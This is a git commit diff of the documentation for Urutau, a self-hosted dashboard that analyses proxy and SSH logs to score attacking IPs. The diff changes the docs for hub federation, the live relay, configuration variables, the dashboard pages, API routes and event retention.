A hub is an ordinary instance started with `--peer name=https://url`, and it needs `URUTAU_PEER_TOKEN`. Every 15 seconds it calls each peer's `GET /api/v1/peer/export?range=...` (for the background ranges `1h`, `24h`, `7d` and `30d`; any other range or custom period is fetched on demand) with the peer token and keeps the latest answer. The export is `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail, cached for 5 seconds on the peer. The peer token opens three routes: the export, the live stream and `GET /api/v1/peer/period`, the study (sessions, campaigns, metrics) the hub merges for a period or an IP; a peer runs at most two studies at once. The hub never follows redirects, requires `https` outside loopback, uses a 4 second timeout, caps the body at 8 MB and sanitizes and caps whatever a peer sends. A peer that fails is marked offline and the others carry on. The dashboard host selector then offers `all`, the hub itself and each peer; summaries, traffic and IP tables are merged, and every row carries the host it came from.
### Live relay
Besides the export, a hub keeps one `GET /api/v1/peer/stream` connection open per peer (a subscription per peer, with the peer's own token) and relays the live malicious events to its dashboard. What comes from a peer is bounded and sanitized: at most about 50 events per second per peer, lines of at most 16 KB, a buffer of the latest 500 relayed events (served by `/api/v1/live/recent`), and reconnection with backoff from 1 s up to 60 s. A peer serves at most 10 stream connections.
### Geography aggregation
`GET /api/v1/geo` is computed from the IP table (local and the peers' exports) joined with the geolocation databases: countries first, then, for one country, its regions, cities and top IPs. Results are cached for 5 seconds, in a cache of at most 256 keys.
## HTTP layer
+7 -3
View File
@@ -32,12 +32,16 @@ The access token is never a flag: `urutau serve` reads it from the `URUTAU_TOKEN
| `--peer` | `URUTAU_PEERS` | none | peer `name=https://url`; repeat the flag, or comma separate the variable |
| `--peer-token` | `URUTAU_PEER_TOKEN` | empty | token shared with the peers; prefer the variable or `URUTAU_PEER_TOKEN_FILE` (a flag shows up in the process list). Per-peer: `URUTAU_PEER_TOKEN_<NAME>` |
| `--admin-users` | `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h; the immunity is off unless set |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | empty | source CIDRs allowed to call the export; empty accepts any source with the token |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | empty | source CIDRs allowed to call the federation routes; empty accepts any source with the token |
| `--peer-blocklist` | `URUTAU_PEER_BLOCKLIST` | `on` | `on` lists in the hub's blocklist the hostile IPs seen only by peers (score 50+ and a strong signal); `off` keeps the blocklist to this instance's own IPs |
| `--location` | `URUTAU_LOCATION` | empty | map position of this instance, `"lat,lon"` or `"lat,lon,Label"` |
| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | proxies whose `X-Forwarded-For` is trusted, read right to left (login rate limit, `--peer-allow`) |
| `--retention` | `URUTAU_RETENTION` | `168h` | how long data is kept (1h to 168h) |
| `--retention` | `URUTAU_RETENTION` | `720h` | how long data is kept (1h to 720h, that is 30 days) |
| `--events-max` | `URUTAU_EVENTS_MAX` | `512MB` | size cap of the event registry in `<data-dir>/events`; `0` turns it off |
| `--tor-exits` | `URUTAU_TOR_EXITS` | empty | file with Tor exit addresses, one per line, reloaded every 24 h when it changes; empty disables |
| `--insecure-no-auth` | none | off | disable authentication; only on a loopback bind |
Validation at start: peers must be `name=https://host` (plain `http` only on loopback), `URUTAU_PEER_TOKEN` must be set and different from `URUTAU_TOKEN`, names must be unique and cannot be `all` or the instance's own name, `--retention` must be at least 1h, and `URUTAU_TOKEN` and every peer token must have at least 32 characters and about 128 bits of estimated entropy; each peer needs a client token (`URUTAU_PEER_TOKEN_<NAME>` or the general `URUTAU_PEER_TOKEN` as fallback), and peer names must not collide in that variable name (unless `--insecure-no-auth` on a loopback address).
Validation at start: peers must be `name=https://host` (plain `http` only on loopback), `URUTAU_PEER_TOKEN` must be set and different from `URUTAU_TOKEN`, names must be unique and cannot be `all` or the instance's own name, `--retention` must be at least 1h (and at most 720h), and `URUTAU_TOKEN` and every peer token must have at least 32 characters and about 128 bits of estimated entropy; each peer needs a client token (`URUTAU_PEER_TOKEN_<NAME>` or the general `URUTAU_PEER_TOKEN` as fallback), and peer names must not collide in that variable name (unless `--insecure-no-auth` on a loopback address).
```bash
export URUTAU_TOKEN=$(openssl rand -base64 48)
+13 -5
View File
@@ -10,7 +10,7 @@ Urutau has no configuration file. Everything is a flag with a `URUTAU_*` environ
|---|---|
| `URUTAU_TOKEN` | **Required.** Access token of the dashboard and the API: at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused). Generate one with `openssl rand -base64 48` (`openssl rand -hex 32` also works; `-hex 16` is refused by the entropy estimate). |
| `URUTAU_TOKEN_FILE` | Path of a file holding the token (whitespace trimmed), instead of the variable. The variable wins when both are set. |
| `URUTAU_PEER_TOKEN` | Optional. The server token of this instance: the only token its `GET /api/v1/peer/export` accepts, and it opens nothing else. Same strength rules as `URUTAU_TOKEN` (32+ characters, about 128 bits of estimated entropy, not periodic or sequential), and it must differ from it. When this instance is a hub, it is also the fallback client token sent to peers that have no token of their own. |
| `URUTAU_PEER_TOKEN` | Optional. The server token of this instance: the only token its federation routes (`GET /api/v1/peer/export` and `GET /api/v1/peer/stream`) accept, and it opens nothing else. Same strength rules as `URUTAU_TOKEN` (32+ characters, about 128 bits of estimated entropy, not periodic or sequential), and it must differ from it. When this instance is a hub, it is also the fallback client token sent to peers that have no token of their own. |
| `URUTAU_PEER_TOKEN_FILE` | Path of a file holding the general peer token. |
| `URUTAU_PEER_TOKEN_<NAME>` and `..._<NAME>_FILE` | The client credential a hub sends to that one peer; it must equal the peer's own `URUTAU_PEER_TOKEN`. `<NAME>` is the peer name uppercased with every character other than a letter or digit turned into `_` (`my-peer` becomes `MY_PEER`). It does **not** open the local export. Two peer names that collapse to the same variable (`my-peer` and `my_peer`) are refused. A hub with a peer and no token for it refuses to start. |
@@ -31,14 +31,18 @@ Keep both in `.env` (never versioned) or in your orchestrator's secret store.
| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | regular expression of monitoring User-Agents |
| `URUTAU_GEO_DIR` | `<data-dir>/geo` | where the DB-IP Lite databases live |
| `URUTAU_GEO_UPDATE` | `24h` | interval between checks for a newer database; `0` disables the download |
| `URUTAU_PEER_ALLOW` | empty | CIDRs allowed to call the export; empty accepts any source that has the token |
| `URUTAU_PEER_ALLOW` | empty | CIDRs allowed to call the federation routes; empty accepts any source that has the token |
| `URUTAU_PEER_BLOCKLIST` | `on` | `on`: the hub's blocklist includes hostile IPs seen only by peers (score 50+ and a strong signal); `off`: only this instance's own IPs |
| `URUTAU_LOCATION` | empty | where this instance is on the map, `"lat,lon"` or `"lat,lon,Label"` (validated at start). It is the destination of the arcs on the Live page and is shared with the hub; empty lets the page fall back to an estimated destination |
| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | reverse proxies whose `X-Forwarded-For` is trusted (read right to left); used by the login rate limit and by `URUTAU_PEER_ALLOW` |
| `URUTAU_DOMAINS` | empty | allowlist of analytics domains, exact names or `*.example.com`; empty tracks every domain that answers 2xx; recommended, in practice required, when any backend answers 2xx for every Host (catch-all or wildcard), otherwise random Hosts can fill the 24 domain slots |
| `URUTAU_MONITOR_FROM` | empty | CIDRs the monitors really come from; when set, the monitoring User-Agent only counts from them |
| `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h after the last login (a later strong signal cancels it); the immunity is off unless this is set |
| `URUTAU_PEERS` | empty | peers to aggregate, comma separated `name=https://url` |
| `URUTAU_RETENTION` | `168h` | retention as a Go duration, from `1h` to `168h` |
| `GOMEMLIMIT` | 160 MiB soft limit | standard Go memory limit; set it to override the default |
| `URUTAU_RETENTION` | `720h` | retention as a Go duration, from `1h` to `720h` (30 days) |
| `URUTAU_EVENTS_MAX` | `512MB` | size cap of the event registry (`<data-dir>/events`); `0` turns it off |
| `URUTAU_TOR_EXITS` | empty | file of Tor exit addresses, one per line, reloaded every 24 h when it changes |
| `GOMEMLIMIT` | 256 MiB soft limit | standard Go memory limit; set it to override the default |
| `TZ` | UTC | time zone of `fail2ban.log` timestamps, which carry no zone |
In the container image the three log paths default to `/logs/traefik/access.log`, `/logs/host/auth.log` and `/logs/host/fail2ban.log` (the compose file mounts the host logs there). The compose file adds `URUTAU_VERSION` (image tag), `URUTAU_IMAGE` and `URUTAU_PUBLISH` (host address and port), see `.env.example`.
@@ -54,7 +58,7 @@ In the container image the three log paths default to `/logs/traefik/access.log`
Country, city and ASN come from the DB-IP Lite databases (city and ASN), which Urutau downloads and refreshes by itself into `URUTAU_GEO_DIR`. Without them (for example on an air-gapped host) the dashboard works and the geographic fields stay empty; to run offline, place the `dbip-city-lite-YYYY-MM.mmdb` and `dbip-asn-lite-YYYY-MM.mmdb` files in that directory and set `URUTAU_GEO_UPDATE=0`. The databases are licensed CC BY 4.0: keep the attribution (the dashboard footer and the README already carry it).
The Traffic tab needs no setting. `URUTAU_DOMAINS` restricts which domains it tracks (exact names or `*.example.com`); a domain only gets a slot after a 2xx answer and inactive domains are pruned, so forged `Host` headers cannot fill the analytics. Top pages normalize token-looking path segments (ids, hashes, long random strings) to `:id`. It uses the Traefik log, counts unique visitors by a daily-salted hash and never persists the IP address of a legitimate visitor. See [SECURITY.md](../SECURITY.md).
The Traffic page needs no setting. `URUTAU_DOMAINS` restricts which domains it tracks (exact names or `*.example.com`); a domain only gets a slot after a 2xx answer and inactive domains are pruned, so forged `Host` headers cannot fill the analytics. Top pages normalize token-looking path segments (ids, hashes, long random strings) to `:id`. It uses the Traefik log, counts unique visitors by a daily-salted hash and never persists the IP address of a legitimate visitor. See [SECURITY.md](../SECURITY.md).
## Peers (hub mode)
@@ -69,6 +73,10 @@ On each peer, set the same `URUTAU_PEER_TOKEN`. The hub calls only `GET /api/v1/
The snapshot file holds the aggregated state and the log offsets. Mount `URUTAU_DATA_DIR` on a volume to keep it across restarts. Delete the file to start from zero (the rotated logs will be read again). Retention limits how long an IP is kept, at most 168 hours; the dashboard ranges are `1h`, `24h` and `7d`.
## Event registry
`<data-dir>/events/` keeps one line per attacker event, one file per UTC day, older days gzip compressed, deleted after `URUTAU_RETENTION`, and capped in total by `URUTAU_EVENTS_MAX` (a number with an optional unit, `0` turns the registry off). It never holds a legitimate visitor. It lives in the same volume as the snapshot, so plan for the cap on top of the snapshot (about 27 MB in the worst case measured). A full disk or the cap drops events and never stops the service. See [architecture.md](architecture.md).
## Authentication and exposure
The default bind is `0.0.0.0` because the container is behind a proxy. Outside a container, bind to `127.0.0.1` or put a TLS reverse proxy in front. `--insecure-no-auth` exists only for local tests and is refused on non-loopback binds.
+2 -2
View File
@@ -13,7 +13,7 @@ volume urutau-data ── read and write ─► /data (snapsho
The compose file follows this layout. The Traefik log directory is mounted outside `/data` so it does not collide with the snapshot volume. Only the dedicated `logs` directory of the proxy is mounted, never the whole `/data/coolify/proxy` (which holds `acme.json` and the dynamic configuration).
The image runs as the unprivileged user `urutau` (uid 10001) on Alpine. Its `HEALTHCHECK` is the binary itself (`urutau healthcheck`, which asks the local daemon for `/api/health`), so there is no `curl` in the image. The compose file sets `mem_limit: 256m` and `cpus: 0.5`, a read-only root filesystem, `cap_drop: [ALL]` and `no-new-privileges`, and passes from `.env` to the container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` and `TZ`. To set any other `URUTAU_*` variable (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, per-peer tokens, ...), add it to the `environment` block.
The image runs as the unprivileged user `urutau` (uid 10001) on Alpine. Its `HEALTHCHECK` is the binary itself (`urutau healthcheck`, which asks the local daemon for `/api/health`), so there is no `curl` in the image. The compose file sets a memory limit (`mem_limit`); the soft Go limit is 256 MiB and the worst case measured is about 54 MiB of heap plus a snapshot of about 27 MB, so `mem_limit: 384m` is recommended. The data volume also holds the event registry (`/data/events`, capped by `URUTAU_EVENTS_MAX`, 512 MB by default). The compose file sets and `cpus: 0.5`, a read-only root filesystem, `cap_drop: [ALL]` and `no-new-privileges`, and passes from `.env` to the container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` and `TZ`. To set any other `URUTAU_*` variable (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, per-peer tokens, ...), add it to the `environment` block.
## Quick start
@@ -150,7 +150,7 @@ Run one Urutau per server with its own `URUTAU_NAME`. Every instance that is pol
URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3}
```
The hub calls only `GET /api/v1/peer/export` on each peer (three ranges every 15 seconds) with that peer's token, which opens nothing else on the peer and is refused over plain `http` outside loopback. Set `URUTAU_PEER_ALLOW` on a peer to the hub's address to restrict who may call the export. Each peer keeps its own login token for its own dashboard.
The hub calls only `GET /api/v1/peer/export` on each peer (three ranges every 15 seconds) and keeps one `GET /api/v1/peer/stream` open for the live events, with that peer's token, which opens nothing else on the peer and is refused over plain `http` outside loopback. Set `URUTAU_PEER_ALLOW` on a peer to the hub's address to restrict who may call the export. Each peer keeps its own login token for its own dashboard.
## Hardening
Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 241 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 169 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 222 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 372 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 368 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 310 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 596 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 593 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 173 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 207 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 207 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 180 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

+54 -17
View File
@@ -8,31 +8,56 @@ The dashboard is embedded in the binary: plain HTML, CSS and JavaScript, no buil
Open the address of the instance. Without a session you are sent to `/login`: paste `URUTAU_TOKEN`. The session lasts 12 hours (`urutau_session` cookie, `HttpOnly`, `SameSite=Strict`) and is revocable: it holds a random id kept in memory, **Log out** revokes it (and closes its live stream), and a restart of the daemon invalidates every session. Login and logout reject cross-site requests. After 5 failures from the same address (IPv6 counted per /64) in 10 minutes the login answers 429, and a correct token is still accepted but after a 1 second delay, so the limiter cannot lock the owner out. Wrong bearer tokens on the API count as failures too. The address is the real client behind the proxies listed in `--trusted-proxy`.
<p align="center"><img src="img/login-dark.png" width="900" alt="Login page"><br><sub>Login: paste the access token.</sub></p>
## Navigation
A side rail (a tab bar on phones) holds the pages. Each page opens with a sentence carrying the number that matters, and the active slice (range, host, domain) is always written under the title. The page lives in the URL hash (`#/overview`, `#/threats`, `#/geo`, `#/live`, `#/replay`, `#/traffic`, `#/ips`, `#/ip/<ip>`, `#/sources`), so a view can be bookmarked or shared; the Geography page goes deeper, as in `#/geo/BR/Pernambuco/Recife` (country, state, city). An IP detail drawer opens from any IP.
## Header
- A live indicator showing whether the event stream (SSE) is connected (an instance serves at most 20 stream clients at once).
- The **host** selector: `all`, this instance and every peer of a hub.
- The **range** selector: `1h`, `24h` or `7d`.
- The **period** selector: twelve ranges (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) or a custom period (`from` and `to`, at most 30 days). It applies to every page.
- Language, theme and logout buttons.
## Threats tab
## Pages
- **KPIs:** requests, malicious events, hostile IPs, suspicious IPs, bans and the "monitoring" counter (benign requests from monitor User-Agents, kept out of the traffic numbers).
- **Timeline:** stacked counters per category over the selected range.
- **IPs:** a table with score, level (`hostile`, `suspicious`, `low`), categories, hosts, reverse DNS, country, city and ASN, last seen and ban state. It has a search box (IP or reverse DNS), a level filter, a "banned only" filter, sorting by IP, score or last seen, and paging. Click a row for the detail drawer: first and last seen, per-category counts, sample paths, User-Agents (parsed into browser, OS, device, bot or attack tool), domains, users and jails.
- **Live feed:** the latest events as they arrive. Fields from the logs are shown as text, never as markup.
- **Top lists:** attacked paths, domains, User-Agents and targeted users.
- **Blocklist:** pick a minimum score (default 50), copy the list or download it. It only lists hostile, globally routable addresses (never `--ignore` or `--trusted` ranges, never an IP with a successful SSH login); IPv6 appears as its /64, written `x:x:x:x::/64`.
- **Map:** a world map of the origin countries of hostile activity.
- **Hosts and sources:** every instance with its state (online, latency, version) and every log source with its state (`following`, `waiting`, `backfill`, `error`), lines read, malformed lines and last event. The file paths are not shown.
- **Overview:** the headline numbers (requests, malicious events, hostile and suspicious IPs, bans, the "monitoring" counter of benign monitor requests kept out of the traffic numbers), the timeline and the top IPs.
## Traffic tab
<p align="center"><img src="img/overview-dark.png" width="900" alt="Overview page"><br><sub>Overview (demo data).</sub></p>
- **Threats:** stacked counters per category, the live feed of the latest events (log fields are shown as text, never as markup) and the top attacked paths, domains, User-Agents and targeted users.
Privacy-friendly web analytics for legitimate traffic, built from the same Traefik log and replacing the analytics of the proxy: unique visitors, pages, referrers, countries, browsers, operating systems and devices, response latency (p50 and p95), bytes sent, and a world map of visitor countries. Unique visitors are counted by a hash with a daily salt; the IP of a legitimate visitor is never stored. See [SECURITY.md](../SECURITY.md).
<p align="center"><img src="img/threats-dark.png" width="900" alt="Threats page"><br><sub>Threats: categories over time, KPIs and the latest events.</sub></p>
- **Geography:** a world map by attacker country. Select a country to see its states or regions and its cities (drawn as circles on the zoomed country), the categories and the top IPs; select a region to narrow cities and IPs. The view is `#/geo/<CC>/<region>`.
<p align="center"><img src="img/geo-world-dark.png" width="900" alt="Geography page: world map by attacker country"><br><sub>Geography: the world by attacker country.</sub></p>
<p align="center"><img src="img/geo-brazil-dark.png" width="900" alt="Geography page zoomed on Brazil, by state"><br><sub>Geography: a country, by state and city.</sub></p>
<p align="center"><img src="img/geo-pernambuco-dark.png" width="900" alt="Geography page zoomed on the state of Pernambuco, with its city"><br><sub>Geography: a region, with its cities and top IPs.</sub></p>
- **Live:** attacks drawn as animated arcs from their origin to the server that saw them, on a flat map or a 3D globe, with the rate, categories, servers, recent origins, a metrics column and latest events, filters, pause and full screen. It opens by replaying the latest events (`/api/v1/live/recent`), so it is not still on a quiet server. On a hub it also shows the events of every peer. The position of each server comes from `--location`.
<p align="center"><img src="img/live-flat-dark.png" width="900" alt="Live page on the flat map"><br><sub>Live: flat map.</sub></p>
<p align="center"><img src="img/live-globe-dark.png" width="900" alt="Live page on the 3D globe"><br><sub>Live: 3D globe.</sub></p>
<p align="center"><img src="img/replay-dark.png" width="900" alt="Replay page: a period replayed on the map with the ordered event list and the incident timeline"><br><sub>Replay: a period played back, with incidents on the timeline.</sub></p>
- **Traffic:** privacy-friendly web analytics for legitimate traffic, built from the same Traefik log: unique visitors, pages, referrers, countries, browsers, operating systems, devices, response latency (p50 and p95), bytes sent and a world map of visitor countries, per domain. Unique visitors are counted by a hash with a daily salt; the IP of a legitimate visitor is never stored. See [SECURITY.md](../SECURITY.md).
<p align="center"><img src="img/traffic-dark.png" width="900" alt="Traffic page: web analytics of legitimate visitors"><br><sub>Traffic: privacy-friendly web analytics.</sub></p>
- **IPs:** a table with score, level (`hostile`, `suspicious`, `low`), categories, hosts, reverse DNS, country, city and ASN, last seen and ban state, with a search box (IP or reverse DNS), a level filter, a "banned only" filter, sorting and paging. The detail drawer shows first and last seen, per-category counts, sample paths, User-Agents (parsed into browser, OS, device, bot or attack tool), domains, users and jails.
<p align="center"><img src="img/ips-dark.png" width="900" alt="IPs page: table of addresses with score, level, origin and ban state"><br><sub>IPs: every address with score and level.</sub></p>
<p align="center"><img src="img/ip-analysis-dark.png" width="900" alt="IP analysis page for one attacker"><br><sub>IP analysis: verdict, evidence and recommended actions.</sub></p>
- **IP analysis** (`#/ip/<ip>`, opened from any IP): the verdict with its reasons, recommended actions, attack families and MITRE ATT&CK techniques, network type, cadence, sessions with their stage, campaigns, exposure, the event history and a STIX 2.1 download.
- **Replay** (`#/replay`): a period played back on the map with the ordered event list and the incident timeline, from the event registry.
- **Sources and hosts:** every instance with its state (online, latency, version), every log source with its state (`following`, `waiting`, `backfill`, `error`), lines read, malformed lines and last event (file paths are not shown), and the **blocklist**: pick a minimum score (default 50), copy or download it. It only lists hostile, globally routable addresses (never `--ignore` or `--trusted` ranges, never an IP with a successful SSH login); IPv6 appears as its /64, written `x:x:x:x::/64`.
<p align="center"><img src="img/sources-dark.png" width="900" alt="Sources and hosts page: instances, log sources and blocklist"><br><sub>Sources and hosts.</sub></p>
<p align="center"><img src="img/overview-light.png" width="620" alt="Overview in the light theme"> <img src="img/overview-mobile.png" height="420" alt="Overview on a phone"><br><sub>The light theme on a desktop and the phone layout (a tab bar replaces the side rail).</sub></p>
## Attribution
IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). The credit also appears in the footer of the dashboard.
State and city boundaries on the Geography page are from [Natural Earth](https://www.naturalearthdata.com), public domain. IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). The credit also appears in the footer of the dashboard.
## HTTP routes
@@ -41,13 +66,25 @@ IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](ht
| `GET /api/health` | none | `{"status":"ok"}` |
| `GET /login`, `POST /login`, `POST /logout` | none | session |
| `GET /` and the static files | session | the dashboard |
| `GET /api/v1/summary` | session or bearer | everything the dashboard shows. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, a name) |
| `GET /api/v1/summary` | session or bearer | everything the dashboard shows. Query: `range` (any named range) or `from` and `to`, `host` (`all`, a name) |
| `GET /api/v1/traffic` | session or bearer | web analytics of legitimate traffic. Query: `range`, `domain` (`all` or one domain), `host`. Returns visitors, pages, requests, bots, bytes, status classes, `p50_ms`, `p95_ms`, a timeline, top pages, referrers, countries, cities, browsers, operating systems, devices and bot names |
| `GET /api/v1/peer/export` | peer token only | federation: `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail. Query: `range` (`1h`, `24h`, `7d`). Cached for 5 s. 404 when no peer token is set, 401 for `URUTAU_TOKEN`, 403 from a source outside `--peer-allow` |
| `GET /api/v1/geo` | session or `URUTAU_TOKEN` | attacker geography. Without `cc`: `{"countries":[{"cc","events","ips","hostile","suspicious","cats"}]}` (up to 250). With `cc=XX` (and optionally `region`): `{"cc","events","ips","hostile","suspicious","cats","regions":[...],"cities":[{"name","region","lat","lon","events","ips"}],"top_ips":[...]}` (64 regions, 200 cities, 50 IPs). Query: `range`, `host`. Cached for 5 s |
| `GET /api/v1/live/recent` | session or `URUTAU_TOKEN` | `{"events":[...]}`: the latest malicious events of this instance and its peers, newest first, in the stream format. Query: `limit` (default 200, at most 500) |
| `GET /api/v1/peer/stream` | peer token only | live federation: server-sent malicious events of this instance. At most 10 connections; same 404/401/403 rules as the export |
| `GET /api/v1/peer/export` | peer token only | federation: `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail. Query: `range` or `from`/`to`. Cached for 5 s. 404 when no peer token is set, 401 for `URUTAU_TOKEN`, 403 from a source outside `--peer-allow` |
| `GET /api/v1/events` | session or bearer | events of the registry, newest first. Query: `range` or `from`/`to`, `host`, `ip`, `cat`, `fam`, `q`, `order`, `limit`, `cursor` |
| `GET /api/v1/events/sessions` | session or bearer | sessions (bursts with a stage) of the period, optionally for one `ip` |
| `GET /api/v1/period` | session or bearer | the study of a period: sessions, campaigns, first-seen techniques, escalations, spikes, new vs returning, top targets, families, techniques, users and ASNs. Query: `range` or `from`/`to`, `host`, `gap` (seconds between sessions, 30 to 86400) |
| `GET /api/v1/period/events` | session or bearer | the events of a period in the stream format, for replay |
| `GET /api/v1/metrics` | session or bearer | stable metrics (see [architecture.md](architecture.md)). Query: `range` or `from`/`to`, `host` |
| `GET /api/v1/ip/{ip}/stix` | session or bearer | STIX 2.1 bundle of one IP |
| `GET /api/v1/peer/period` | peer token only | federation: the study a hub merges. At most two at once (503 with `Retry-After` otherwise) |
| `GET /api/v1/ips` | session or bearer | IP table. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 to 200, default 50), `page` |
| `GET /api/v1/ip/{ip}` | session or bearer | detail of one IP, merged with the peers' exports |
| `GET /api/v1/ip/{ip}` | session or bearer | summarized analysis of one IP: verdict with reasons, actions, families, techniques, network type, cadence, sessions and exposure; merged with the peers. Query: `range` or `from`/`to` (default 30d) |
| `GET /api/v1/events/stream` | session or bearer | Server-Sent Events, event `ev`, a ping every 20 s |
| `GET /api/v1/blocklist.txt` | session or bearer | one IP per line. Query: `min_score` (default 50), `range` (default `7d`), `host`, `family` (`4`, `6`; default both; `4` suits `ipset hash:ip`), `download=1` |
| `GET /api/v1/blocklist.json` | session or bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; the `ip` of an IPv6 entry is a `/64` prefix |
API clients send `Authorization: Bearer <URUTAU_TOKEN>`. The peer token is accepted only by `/api/v1/peer/export`; every other route answers 403 to it.
An invalid `range` or period answers 400, and `range` in the responses is an object `{name,from,to,step,clipped}` (`step` is the timeline granularity in seconds).
API clients send `Authorization: Bearer <URUTAU_TOKEN>`. The peer token is accepted only by `/api/v1/peer/export`, `/api/v1/peer/stream` and `/api/v1/peer/period`; every other route answers 403 to it.
+66 -5
View File
@@ -10,7 +10,9 @@ internal/app flags, ligação das peças, runner dos logs, doctor
internal/tail seguidor de arquivo que tolera rotação e leitor de rotacionados
internal/core modelo de evento, parsers (Traefik, sshd, fail2ban), classificador
internal/store estado em memória, resumos, merge, snapshot
internal/rdns cache de DNS reverso
internal/rdns cache de DNS reverso e DNS reverso confirmado
internal/evlog registro de eventos em disco
internal/intel famílias, MITRE, tipo de rede, cadência, sessões, campanhas, vereditos, STIX, métricas
internal/fed hub que consulta os peers
internal/server handler HTTP, autenticação, dashboard embutido (web/)
```
@@ -83,19 +85,78 @@ Eventos de uma origem confiável (`--trusted`, mais as faixas privadas de `--ign
## Web analytics
Requisições benignas (`ok`, e os `notfound` que não são varredura) também alimentam a visão Tráfego. Um domínio só ganha vaga depois de uma resposta 2xx (e `--domains` pode restringi-los a uma lista), domínios inativos são podados e o top de páginas normaliza segmentos com cara de token para `:id`: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência (p50 e p95) e bytes. Um visitante único é um hash calculado com um sal que gira todo dia, então não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. O tráfego de ataque fica na visão Ameaças, onde o IP é o assunto. Requisições de monitoramento ficam fora das duas.
Requisições benignas (`ok`, e os `notfound` que não são varredura) também alimentam a página Tráfego. Um domínio só ganha vaga depois de uma resposta 2xx (e `--domains` pode restringi-los a uma lista), domínios inativos são podados e o top de páginas normaliza segmentos com cara de token para `:id`: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência (p50 e p95) e bytes. Um visitante único é um hash calculado com um sal que gira todo dia, então não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. O tráfego de ataque fica na visão Ameaças, onde o IP é o assunto. Requisições de monitoramento ficam fora das duas.
## Períodos e granularidade
